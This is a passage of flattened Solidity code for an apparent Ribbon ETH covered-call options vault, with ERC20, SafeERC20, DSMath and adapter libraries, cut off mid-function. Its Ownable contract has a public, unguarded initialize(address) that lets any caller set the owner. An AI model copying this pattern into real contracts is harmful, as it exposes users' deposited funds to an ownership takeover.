revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract DSMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, "ds-math-add-overflow"); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, "ds-math-sub-underflow"); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow"); } function min(uint x, uint y) internal pure returns (uint z) { return x <= y ? x : y; } function max(uint x, uint y) internal pure returns (uint z) { return x >= y ? x : y; } function imin(int x, int y) internal pure returns (int z) { return x <= y ? x : y; } function imax(int x, int y) internal pure returns (int z) { return x >= y ? x : y; } uint constant WAD = 10 ** 18; uint constant RAY = 10 ** 27; //rounds to zero if x*y < WAD / 2 function wmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), WAD / 2) / WAD; } //rounds to zero if x*y < WAD / 2 function rmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), RAY / 2) / RAY; } //rounds to zero if x*y < WAD / 2 function wdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, WAD), y / 2) / y; } //rounds to zero if x*y < RAY / 2 function rdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint x, uint n) internal pure returns (uint z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } struct OptionTerms { address underlying; address strikeAsset; address collateralAsset; uint256 expiry; uint256 strikePrice; OptionType optionType; address paymentToken; } interface IProtocolAdapter { /** * @notice Emitted when a new option contract is purchased */ event Purchased( address indexed caller, string indexed protocolName, address indexed underlying, address strikeAsset, uint256 expiry, uint256 strikePrice, OptionType optionType, uint256 amount, uint256 premium, uint256 optionID ); /** * @notice Emitted when an option contract is exercised */ event Exercised( address indexed caller, address indexed options, uint256 indexed optionID, uint256 amount, uint256 exerciseProfit ); /** * @notice Name of the adapter. E.g. "HEGIC", "OPYN_V1". Used as index key for adapter addresses */ function protocolName() external pure returns (string memory); /** * @notice Boolean flag to indicate whether to use option IDs or not. * Fungible protocols normally use tokens to represent option contracts. */ function nonFungible() external pure returns (bool); /** * @notice Returns the purchase method used to purchase options */ function purchaseMethod() external pure returns (PurchaseMethod); /** * @notice Check if an options contract exist based on the passed parameters. * @param optionTerms is the terms of the option contract */ function optionsExist(OptionTerms calldata optionTerms) external view returns (bool); /** * @notice Get the options contract's address based on the passed parameters * @param optionTerms is the terms of the option contract */ function getOptionsAddress(OptionTerms calldata optionTerms) external view returns (address); /** * @notice Gets the premium to buy `purchaseAmount` of the option contract in ETH terms. * @param optionTerms is the terms of the option contract * @param purchaseAmount is the number of options purchased */ function premium(OptionTerms calldata optionTerms, uint256 purchaseAmount) external view returns (uint256 cost); /** * @notice Amount of profit made from exercising an option contract (current price - strike price). 0 if exercising out-the-money. * @param options is the address of the options contract * @param optionID is the ID of the option position in non fungible protocols like Hegic. * @param amount is the amount of tokens or options contract to exercise. Only relevant for fungle protocols like Opyn */ function exerciseProfit( address options, uint256 optionID, uint256 amount ) external view returns (uint256 profit); function canExercise( address options, uint256 optionID, uint256 amount ) external view returns (bool); /** * @notice Purchases the options contract. * @param optionTerms is the terms of the option contract * @param amount is the purchase amount in Wad units (10**18) */ function purchase( OptionTerms calldata optionTerms, uint256 amount, uint256 maxCost ) external payable returns (uint256 optionID); /** * @notice Exercises the options contract. * @param options is the address of the options contract * @param optionID is the ID of the option position in non fungible protocols like Hegic. * @param amount is the amount of tokens or options contract to exercise. Only relevant for fungle protocols like Opyn * @param recipient is the account that receives the exercised profits. This is needed since the adapter holds all the positions and the msg.sender is an instrument contract. */ function exercise( address options, uint256 optionID, uint256 amount, address recipient ) external payable; function createShort(OptionTerms calldata optionTerms, uint256 amount) external returns (uint256); function closeShort() external returns (uint256); } enum OptionType {Invalid, Put, Call} struct ZeroExOrder { address exchangeAddress; address buyTokenAddress; address sellTokenAddress; address allowanceTarget; uint256 protocolFee; uint256 makerAssetAmount; uint256 takerAssetAmount; bytes swapData; } library ProtocolAdapter { function delegateOptionsExist( IProtocolAdapter adapter, OptionTerms calldata optionTerms ) external view returns (bool) { (bool success, bytes memory result) = address(adapter).staticcall( abi.encodeWithSignature( "optionsExist((address,address,address,uint256,uint256,uint8,address))", optionTerms ) ); require(success, getRevertMsg(result)); return abi.decode(result, (bool)); } function delegateGetOptionsAddress( IProtocolAdapter adapter, OptionTerms calldata optionTerms ) external view returns (address) { (bool success, bytes memory result) = address(adapter).staticcall( abi.encodeWithSignature( "getOptionsAddress((address,address,address,uint256,uint256,uint8,address))", optionTerms ) ); require(success, getRevertMsg(result)); return abi.decode(result, (address)); } function delegatePremium( IProtocolAdapter adapter, OptionTerms calldata optionTerms, uint256 purchaseAmount ) external view returns (uint256) { (bool success, bytes memory result) = address(adapter).staticcall( abi.encodeWithSignature( "premium((address,address,address,uint256,uint256,uint8,address),uint256)", optionTerms, purchaseAmount ) ); require(success, "premium staticcall failed"); return abi.decode(result, (uint256)); } function delegateExerciseProfit( IProtocolAdapter adapter, address options, uint256 optionID, uint256 amount ) external view returns (uint256) { (bool success, bytes memory result) = address(adapter).staticcall( abi.encodeWithSignature( "exerciseProfit(address,uint256,uint256)", options, optionID, amount ) ); require(success, getRevertMsg(result)); return abi.decode(result, (uint256)); } function delegatePurchase( IProtocolAdapter adapter, OptionTerms calldata optionTerms, uint256 purchaseAmount, uint256 maxCost ) external returns (uint256) { (bool success, bytes memory result) = address(adapter).delegatecall( abi.encodeWithSignature( "purchase((address,address,address,uint256,uint256,uint8,address),uint256,uint256)", optionTerms, purchaseAmount, maxCost ) ); require(success, getRevertMsg(result)); return abi.decode(result, (uint256)); } function delegatePurchaseWithZeroEx( IProtocolAdapter adapter, OptionTerms calldata optionTerms, ZeroExOrder calldata zeroExOrder ) external { (bool success, bytes memory result) = address(adapter).delegatecall( abi.encodeWithSignature( "purchaseWithZeroEx((address,address,address,uint256,uint256,uint8,address),(address,address,address,address,uint256,uint256,uint256,bytes))", optionTerms, zeroExOrder ) ); require(success, getRevertMsg(result)); } function delegateExercise( IProtocolAdapter adapter, address options, uint256 optionID, uint256 amount, address recipient ) external { (bool success, bytes memory res) = address(adapter).delegatecall( abi.encodeWithSignature( "exercise(address,uint256,uint256,address)", options, optionID, amount, recipient ) ); require(success, getRevertMsg(res)); } function delegateClaimRewards( IProtocolAdapter adapter, address rewardsAddress, uint256[] calldata optionIDs ) external returns (uint256) { (bool success, bytes memory result) = address(adapter).delegatecall( abi.encodeWithSignature( "claimRewards(address,uint256[])", rewardsAddress, optionIDs ) ); require(success, getRevertMsg(result)); return abi.decode(result, (uint256)); } function delegateRewardsClaimable( IProtocolAdapter adapter, address rewardsAddress, uint256[] calldata optionIDs ) external view returns (uint256) { (bool success, bytes memory result) = address(adapter).staticcall( abi.encodeWithSignature( "rewardsClaimable(address,uint256[])", rewardsAddress, optionIDs ) ); require(success, getRevertMsg(result)); return abi.decode(result, (uint256)); } function delegateCreateShort( IProtocolAdapter adapter, OptionTerms calldata optionTerms, uint256 amount ) external returns (uint256) { (bool success, bytes memory res) = address(adapter).delegatecall( abi.encodeWithSignature( "createShort((address,address,address,uint256,uint256,uint8,address),uint256)", optionTerms, amount ) ); require(success, getRevertMsg(res)); return abi.decode(res, (uint256)); } function delegateCloseShort(IProtocolAdapter adapter) external returns (uint256) { (bool success, bytes memory res) = address(adapter).delegatecall( abi.encodeWithSignature("closeShort()") ); require(success, getRevertMsg(res)); return abi.decode(res, (uint256)); } function getRevertMsg(bytes memory _returnData) internal pure returns (string memory) { // If the _res length is less than 68, then the transaction failed silently (without a revert message) if (_returnData.length < 68) return "Transaction reverted silently"; assembly { // Slice the sighash. _returnData := add(_returnData, 0x04) } return abi.decode(_returnData, (string)); // All that remains is the revert string } } interface IRibbonFactory { function isInstrument(address instrument) external returns (bool); function getAdapter(string calldata protocolName) external view returns (address); function getAdapters() external view returns (address[] memory adaptersArray); function burnGasTokens() external; } interface IWETH { function deposit() external payable; function withdraw(uint256) external; function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); } interface ISwap { event Swap( uint256 indexed nonce, uint256 timestamp, address indexed signerWallet, uint256 signerAmount, uint256 signerId, address signerToken, address indexed senderWallet, uint256 senderAmount, uint256 senderId, address senderToken, address affiliateWallet, uint256 affiliateAmount, uint256 affiliateId, address affiliateToken ); event Cancel(uint256 indexed nonce, address indexed signerWallet); event CancelUpTo(uint256 indexed nonce, address indexed signerWallet); event AuthorizeSender( address indexed authorizerAddress, address indexed authorizedSender ); event AuthorizeSigner( address indexed authorizerAddress, address indexed authorizedSigner ); event RevokeSender( address indexed authorizerAddress, address indexed revokedSender ); event RevokeSigner( address indexed authorizerAddress, address indexed revokedSigner ); /** * @notice Atomic Token Swap * @param order Types.Order */ function swap(Types.Order calldata order) external; /** * @notice Cancel one or more open orders by nonce * @param nonces uint256[] */ function cancel(uint256[] calldata nonces) external; /** * @notice Cancels all orders below a nonce value * @dev These orders can be made active by reducing the minimum nonce * @param minimumNonce uint256 */ function cancelUpTo(uint256 minimumNonce) external; /** * @notice Authorize a delegated sender * @param authorizedSender address */ function authorizeSender(address authorizedSender) external; /** * @notice Authorize a delegated signer * @param authorizedSigner address */ function authorizeSigner(address authorizedSigner) external; /** * @notice Revoke an authorization * @param authorizedSender address */ function revokeSender(address authorizedSender) external; /** * @notice Revoke an authorization * @param authorizedSigner address */ function revokeSigner(address authorizedSigner) external; function senderAuthorizations(address, address) external view returns (bool); function signerAuthorizations(address, address) external view returns (bool); function signerNonceStatus(address, uint256) external view returns (bytes1); function signerMinimumNonce(address) external view returns (uint256); function registry() external view returns (address); } interface OtokenInterface { function addressBook() external view returns (address); function underlyingAsset() external view returns (address); function strikeAsset() external view returns (address); function collateralAsset() external view returns (address); function strikePrice() external view returns (uint256); function expiryTimestamp() external view returns (uint256); function isPut() external view returns (bool); function init( address _addressBook, address _underlyingAsset, address _strikeAsset, address _collateralAsset, uint256 _strikePrice, uint256 _expiry, bool _isPut ) external; function mintOtoken(address account, uint256 amount) external; function burnOtoken(address account, uint256 amount) external; } abstract contract Ownable { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function initialize(address newOwner) public { _owner = newOwner; emit OwnershipTransferred(address(0), newOwner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require( initializing || isConstructor() || !initialized, "Contract instance has already been initialized" ); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } contract OptionsVaultStorageV1 is Initializable, Ownable, ReentrancyGuard { // Ribbon Factory used to access adapters IRibbonFactory public factory; // Privileged role that is able to select the option terms (strike price, expiry) to short address public manager; // Option that the vault is currently shorting address public currentOption; // Amount that is currently locked for selling options uint256 public lockedAmount; } // contract RibbonETHCoveredCall is DSMath, ERC20, OptionsVaultStorageV1 { using ProtocolAdapter for IProtocolAdapter; using SafeERC20 for IERC20; using SafeMath for uint256; enum ExchangeMechanism {Unknown, AirSwap} string private constant _tokenName = "Ribbon ETH Covered Call Vault"; string private constant _tokenSymbol = "rETH-COVCALL"; string private constant _adapterName = "OPYN_GAMMA"; address private constant _WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // AirSwap Swap contract https://github.com/airswap/airswap-protocols/blob/master/source/swap/contracts/interfaces/ISwap.sol ISwap private constant _swapContract = ISwap(0x4572f2554421Bd64Bef1c22c8a81840E8D496BeA); address public constant asset = _WETH; ExchangeMechanism public constant exchangeMechanism = ExchangeMechanism.AirSwap; // 1% for an instant withdrawal uint256 public constant instantWithdrawalFee = 0.01 ether; // 90% locked in options protocol, 10% of the pool reserved for withdrawals uint256 public constant lockedRatio = 0.9 ether; event ManagerChanged(address oldManager, address newManager); event Deposit(address indexed account, uint256 amount, uint256 share); event Withdraw(address indexed account, uint256 amount, uint256 share); event OpenShort( address indexed options, uint256 depositAmount, address manager ); event CloseShort( address indexed options, uint256 withdrawAmount, address manager ); constructor() ERC20(_tokenName, _tokenSymbol) {} /** * @notice Initializes the OptionVault contract with an owner and a factory. * @param _owner is the owner of the contract who can set the manager * @param _factory is the RibbonFactory instance */ function initialize(address _owner, address _factory) public initializer { Ownable.initialize(_owner); factory = IRibbonFactory(_factory); } /** * @notice Sets the new manager of the vault. Revoke the airswap signer authorization from the old manager, and authorize the manager. * @param _manager is the new manager of the vault */ function setManager(address _manager) public onlyOwner { require(_manager != address(0), "New manager cannot be 0x0"); address oldManager = manager; if (oldManager != address(0)) { _swapContract.revokeSigner(oldManager); } manager = _manager; _swapContract.authorizeSigner(_manager); emit ManagerChanged(oldManager, _manager); } /** * @notice Deposits ETH into the contract and mint vault shares. */ function depositETH() external payable nonReentrant { require(msg.value > 0, "No value passed"); require(asset == _WETH, "Asset is not WETH"); IWETH(_WETH).deposit{value: msg.value}(); _deposit(msg.value); } /** * @notice Deposits the `asset` into the contract and mint vault shares. * @param amount is the amount of `asset` to deposit */ function deposit(uint256 amount) external nonReentrant { IERC20(asset).safeTransferFrom(msg.sender, address(this), amount); _deposit(amount); } /** * @notice Mints the vault shares to the msg.sender * @param amount is the amount of `asset` deposited */ function _deposit(uint256 amount) private { // amount needs to be subtracted from totalBalance because it has already been // added to it from either IWETH.deposit and IERC20.safeTransferFrom uint256 total = totalBalance().sub(amount); // Following the pool share calculation from Alpha Homora: https://github.com/AlphaFinanceLab/alphahomora/blob/340653c8ac1e9b4f23d5b81e61307bf7d02a26e8/contracts/5/Bank.sol#L104 uint256 share = total == 0 ? amount : amount.mul(totalSupply()).div(total); _mint(msg.sender, share); emit Deposit(msg.sender, amount, share); } /** * @notice Withdraws ETH from vault using vault shares * @param share is the number of vault shares to be burned */ function withdrawETH(uint256 share) external nonReentrant { uint256 withdrawAmount = _withdraw(share); IWETH(_WETH).withdraw(withdrawAmount); (bool success, ) = msg.sender.call{value: withdrawAmount}(""); require(success, "ETH transfer failed"); } /** * @notice Withdraws WETH from vault using vault shares * @param share is the number of vault shares to be burned */ function withdraw(uint256 share) external nonReentrant { uint256 withdrawAmount = _withdraw(share); require( IERC20(asset).transfer(msg.sender, withdrawAmount), "ERC20 transfer failed" ); } /** * @notice Burns vault shares and checks if eligible for withdrawal * @param share is the number of vault shares to be burned */ function _withdraw(uint256 share) private returns (uint256) { uint256 _lockedAmount = lockedAmount; uint256 currentAssetBalance = IERC20(asset).balanceOf(address(this)); uint256 total = _lockedAmount.add(currentAssetBalance); uint256 availableForWithdrawal = _availableToWithdraw(_lockedAmount, currentAssetBalance); // Following the pool share calculation from Alpha Homora: https://github.com/AlphaFinanceLab/alphahomora/blob/340653c8ac1e9b4f23d5b81e61307bf7d02a26e8/contracts/5/Bank.sol#L111 uint256 withdrawAmount = share.mul(total).div(totalSupply()); require( withdrawAmount <= availableForWithdrawal, "Cannot withdraw more than available" ); uint256 feeAmount = wmul(withdrawAmount, instantWithdrawalFee); uint256 amountAfterFee = withdrawAmount.sub(feeAmount); _burn(msg.sender, share); emit Withdraw(msg.sender, amountAfterFee, share); return amountAfterFee; } /** * @notice Rolls from one short option position to another. Closes the expired short position, withdraw from it, then open a new position. * @param optionTerms are the option contract terms the vault will be short */ function rollToNextOption(OptionTerms calldata optionTerms) external onlyManager nonReentrant { // We can save gas by storing the factory address as a constant IProtocolAdapter adapter = IProtocolAdapter(factory.getAdapter(_adapterName)); address oldOption = currentOption; if (oldOption != address(0)) { require( block.timestamp >= OtokenInterface(oldOption).expiryTimestamp(), "Otoken not expired" ); uint256 withdrawAmount = adapter.delegateCloseShort(); emit CloseShort(oldOption, withdrawAmount, msg.sender); } uint256 currentBalance = 